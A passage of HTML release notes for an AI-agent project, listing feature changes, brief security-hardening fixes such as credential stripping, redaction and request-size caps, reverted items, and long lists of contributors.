data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65066/hovercard">#65066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65486/hovercard">#65486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (<a href="https://github.com/NousResearch/hermes-agent/pull/65923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65923/hovercard">#65923</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67123" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67123/hovercard">#67123</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (<a href="https://github.com/NousResearch/hermes-agent/pull/66333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66333/hovercard">#66333</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63638/hovercard">#63638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60226/hovercard">#60226</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65698/hovercard">#65698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63249/hovercard">#63249</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (<a href="https://github.com/NousResearch/hermes-agent/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61791/hovercard">#61791</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62014/hovercard">#62014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59567/hovercard">#59567</a>)</li>
<li>mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (<a href="https://github.com/NousResearch/hermes-agent/pull/56943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56943/hovercard">#56943</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60494/hovercard">#60494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (<a href="https://github.com/NousResearch/hermes-agent/pull/57017" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57017/hovercard">#57017</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63627" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63627/hovercard">#63627</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52220/hovercard">#52220</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Vertex: credential/project/region resolution through the profile secret scope; <code>VERTEX_CREDENTIALS_PATH</code>/<code>GOOGLE_APPLICATION_CREDENTIALS</code> stripped from subprocess env (<a href="https://github.com/NousResearch/hermes-agent/pull/56680" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56680/hovercard">#56680</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (<a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58752/hovercard">#58752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57890" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57890/hovercard">#57890</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Webhook body-cap sweep: explicit <code>client_max_size</code> on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (<a href="https://github.com/NousResearch/hermes-agent/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59180/hovercard">#59180</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58902/hovercard">#58902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58508/hovercard">#58508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (<a href="https://github.com/NousResearch/hermes-agent/pull/58501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58501/hovercard">#58501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58534/hovercard">#58534</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58915" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58915/hovercard">#58915</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58893/hovercard">#58893</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>computer-use: subprocess env sanitized across all five cua-driver spawn sites (<a href="https://github.com/NousResearch/hermes-agent/pull/58889" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58889/hovercard">#58889</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59165/hovercard">#59165</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (<a href="https://github.com/NousResearch/hermes-agent/pull/58222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58222/hovercard">#58222</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60236/hovercard">#60236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49435/hovercard">#49435</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>)</li>
<li>CI: untrusted refs passed through env, not <code>run:</code> interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (<a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60707/hovercard">#60707</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65186/hovercard">#65186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (<a href="https://github.com/NousResearch/hermes-agent/pull/59149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59149/hovercard">#59149</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64651/hovercard">#64651</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66040" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66040/hovercard">#66040</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (<a href="https://github.com/NousResearch/hermes-agent/pull/67238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67238/hovercard">#67238</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59339/hovercard">#59339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58178/hovercard">#58178</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; <code>/new</code> memory extraction moved off the command path (<a href="https://github.com/NousResearch/hermes-agent/pull/58350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58350/hovercard">#58350</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64379/hovercard">#64379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61139/hovercard">#61139</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔁 Reverted in this window (for the record)</h2>
<ul>
<li>iron-proxy credential-injection egress firewall (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499336733" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/30179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30179/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/30179">#30179</a> → reverted in <a href="https://github.com/NousResearch/hermes-agent/pull/58489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58489/hovercard">#58489</a>) — not shipping in this release</li>
<li>dynamic-workflow orchestration skill (landed, then reverted) — not shipping</li>
<li>memory provider-actions extension point (landed, then reverted) — not shipping</li>
<li>Note: the plugin <code>pre_tool_call</code> approve escalation was reverted mid-window but <strong>re-landed</strong> in <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> and ships in this release.</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>450+ people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.</p>
<h3>Core team</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — terminal billing (<code>/subscription</code>, <code>/topup</code>), desktop billing tab</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — desktop custom endpoint settings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a> — unbroker + unreal-mcp skills, humanizer expansion</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a> — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a> — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a> — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — <code>&lt;think&gt;</code> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a> — desktop declarative memory-provider panel + honcho recall/timeout correctness</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a> — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a> — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a> — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a> — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a> — Gemini request-context improvements</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a> — cron one-shot stale-removal race, dashboard multiplex port-binding guard</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @wesleysimplici, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a> — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces</li>
<li>Salvaged-work authors whose PRs were cherry-picked with credit this window: <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a> (profile routing), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a> (sessions export), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a> (1Password), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, and many more — see the salvage PR bodies for full attribution</li>
</ul>
<h3>All contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0-CYBERDYNE-SYSTEMS-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0-CYBERDYNE-SYSTEMS-0">@0-CYBERDYNE-SYSTEMS-0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0disoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0disoft">@0disoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/17324393074/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/17324393074">@17324393074</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/2751738943/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/2751738943">@2751738943</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/8294/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/8294">@8294</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abhibansal-sg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abhibansal-sg">@abhibansal-sg</a>,<br>
